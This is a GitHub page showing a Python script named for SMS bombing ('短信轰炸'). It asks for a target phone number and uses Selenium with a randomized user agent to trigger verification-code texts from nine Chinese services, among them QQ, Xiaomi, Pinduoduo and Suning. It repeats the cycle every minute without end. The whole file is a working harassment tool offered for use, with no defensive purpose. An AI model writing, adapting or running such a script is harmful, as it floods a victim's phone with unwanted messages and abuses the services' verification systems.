-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path短信轰炸.py
137 lines (119 loc) · 5.7 KB
/
短信轰炸.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from selenium import webdriver
import time
from fake_useragent import UserAgent
opt = webdriver.ChromeOptions()
#/Users/conory/Desktop/phantomjs/bin/phantomjs
# opt.add_argument('--headless')
#更换头部
ua = UserAgent()
opt.add_argument('user-agent="%s"' % ua.random)
#driver = webdriver.Chrome(chrome_options=opt)
driver=webdriver.PhantomJS('phantomjs/bin/phantomjs')
class HongZha:
def __init__(self):
self.phone = input('请输入您要轰炸的号码:')
self.num = 0
# 发送验证码
def send_yzm(self,button,name):
button.click()
self.num+=1
print("{} 第{}次 发送成功 {}".format(self.phone,self.num,name))
# qq注册接口
def qq(self,name):
driver.get('https://ssl.zc.qq.com/v3/index-chs.html')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@id="nickname"]').send_keys('xxxx')
driver.find_element_by_xpath('//input[@id="password"]').send_keys('woshinibaba22')
driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//a[@id="send-sms"]')
self.send_yzm(button,name)
# 小米注册接口
def xiaomi(self,name):
driver.get('https://account.xiaomi.com/pass/register')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="phone"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//input[@type="submit"]')
self.send_yzm(button,name)
# 瓜子注册接口
def guazi(self,name):
driver.implicitly_wait(10)
driver.get ( "https://www.guazi.com/www/bj/buy" )
a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
a_btn.click ()
tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入您的手机号码']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ( "//button[@class='get-code']" )
self.send_yzm ( button,name )
# 唯品会注册接口
def wphui(self,name):
driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "//input[@placeholder='请输入手机号码']" )
tel.send_keys ( self.phone )
driver.find_element_by_xpath ( '//a[contains(./text(),"获取验证码")]' ).click()
button = driver.find_element_by_xpath ("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
self.send_yzm ( button,name )
# 苏宁注册接口
def suning(self,name):
driver.get ( "https://reg.suning.com/person.do" )
driver.implicitly_wait(10)
tel = driver.find_element_by_xpath ( "//input[@id='mobileAlias']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ("//a[@id='sendSmsCode']" )
self.send_yzm ( button,name )
#一号店注册接口
def yhd(self,name):
driver.get ( "https://passport.yhd.com/passport/register_input.do" )
driver.implicitly_wait(10)
driver.find_element_by_xpath ( "//input[@id='userName']" ).send_keys("wujunya625")
tel = driver.find_element_by_xpath ( "//input[@id='phone']" )
tel.send_keys ( self.phone )
button = driver.find_element_by_xpath ("//a[contains(./text(),'获取验证码')]" )
self.send_yzm ( button,name )
# 有赞注册接口
def youzan(self,name):
driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//button[contains(./text(),"获取验证码")]')
self.send_yzm(button, name)
# 拼多多短信登陆接口
def pinduoduo(self,name):
driver.get('http://mobile.yangkeduo.com/login.html')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
button=driver.find_element_by_xpath('//button[@id="code-button"]')
self.send_yzm(button, name)
# 大众点评登陆接口
def dianping(self,name):
driver.get('https://maccount.dianping.com/login')
driver.implicitly_wait(10)
driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
button = driver.find_element_by_xpath('//a[@class="J_send EasyLogin_send"]')
self.send_yzm(button, name)
# def meituan(self,name):
# driver.get('https://i.meituan.com/account/login')
# driver.implicitly_wait(10)
# driver.find_element_by_xpath('//a[contains(./text(),"手机验证登录")]').click()
# driver.find_element_by_xpath('//a[contains(./text(),"手机验证登录")]/parent::li[1]').click()
# driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
# button=driver.find_element_by_xpath('//button[@id="smsCode"]')
# self.send_yzm(button, name)
# 循环执行
def main(self):
while True:
self.qq('qq')
self.xiaomi('小米')
self.guazi('瓜子')
self.wphui('唯品会')
self.suning('苏宁')
self.yhd('一号店')
self.youzan('有赞')
self.pinduoduo('拼多多')
self.dianping('大众点评')
# self.meituan('美团')
time.sleep(60)
if __name__ == '__main__':
hongzha = HongZha()
hongzha.main()